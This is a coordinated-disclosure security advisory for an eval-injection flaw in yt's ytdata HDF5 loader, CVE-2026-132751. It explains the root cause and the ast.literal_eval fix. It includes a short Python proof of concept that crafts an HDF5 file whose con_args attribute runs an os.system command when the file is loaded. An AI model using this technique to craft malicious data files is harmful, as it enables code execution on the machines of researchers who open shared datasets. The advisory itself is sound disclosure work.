yt: arbitrary code execution when loading a ytdata file, via eval() of con_args (CVE-2026-132751)

yt reconstructs a saved ytdata dataset from an HDF5 file and passes the stored con_args string to eval(). Opening a crafted ytdata .h5 with yt.load() runs arbitrary Python as the user. Tracked as CVE-2026-132751.

Severity
High
CVE
CVE-2026-132751
CVSS
7.8 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Published
2026
Tags
CVE-2026-132751, CWE-95, eval-injection, rce, coordinated-disclosure, scientific-software, python, astrophysics, hdf5

Overview

yt (yt-project/yt) is the analysis and visualization toolkit for volumetric and mesh data, used heavily in astrophysics and other simulation-driven fields. It lets you save a derived dataset and load it back later: the ytdata frontend writes the dataset and its parameters into an HDF5 file, and yt.load() reconstructs it. During that reconstruction yt passes one of the stored parameters, con_args, to Python’s eval(), so opening an attacker-supplied ytdata .h5 runs arbitrary code as the user. ytdata files are made to be shared: intermediate results passed between collaborators, attached to a reproducibility archive, downloaded from a project page. Loading one looks like opening data, not running code.

Product yt (yt-project/yt), Python analysis and visualization toolkit
Class CWE-95, Eval Injection
Affected yt through 4.4.4 (confirmed on 4.4.4, main at e94f0cc679)
Fixed See CVE record
Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Severity High, 7.8
Advisory CVE-2026-132751

Root cause

The ytdata frontend reconstructs a saved data object from an HDF5 file. In yt/frontends/ytdata/data_structures.py, SavedDataset._parse_parameter_file() restores the saved parameters, and for con_args it evaluates the stored string:

# yt/frontends/ytdata/data_structures.py
if key == "con_args":
    ...
    v = eval(v)

v is the con_args attribute read straight from the file, handed to the builtin eval() with no ast.literal_eval and no restricted scope, so any expression in it runs. con_args is meant to hold the constructor arguments used to recreate a selection object (a region, a sphere), but nothing constrains it to literals, and the attacker controls the whole string through the file.

Proof of concept

Write a ytdata-shaped HDF5 file whose con_args carries a benign marker payload, then load it the normal way.

import h5py

with h5py.File("evil.h5", "w") as f:
    f.attrs["data_type"] = "yt_data_container"
    f.attrs["container_type"] = "region"
    f.attrs["con_args"] = "__import__('os').system('id > /tmp/yt_poc')"

import yt
yt.load("evil.h5")

/tmp/yt_poc then holds the output of id; the command runs while the header is parsed. The control is the same file with con_args set to a legitimate literal such as "('center', 'left_edge', 'right_edge')": it evaluates to a tuple and runs nothing. The expression is the only difference between the two runs. The file fields are those that yt.save_as_dataset and the ytdata writer produce, so a real ytdata file is a normal input. Confirmed on yt 4.4.4 from PyPI (Python 3.13.12, Linux); the payload delivered a marker to a local TCP listener.

The fix

In yt/frontends/ytdata/data_structures.py, replace eval(v) with ast.literal_eval(v), which parses the tuple or list of constructor arguments without executing code, and reject anything that is not a literal. Until you are on a fixed release, do not load ytdata files from sources you do not trust.

The lesson. con_args is a value, and a value read from a file should be parsed, not executed. eval() on a stored attribute turns “open this dataset” into “run this dataset author’s code”; ast.literal_eval restores the same tuple and nothing else.

Disclosure timeline

  • 2026-11-18: Reported to the maintainers under coordinated disclosure, with a working proof of concept.
  • 2026-11: CVE-2026-132751 published; this write-up released after the report.

References

Credit

Reported by Dilanka Kaushal Hewage (r3vpwnx), Senior Red Team Operator and Security Researcher. Thanks to the yt project maintainers for handling the report.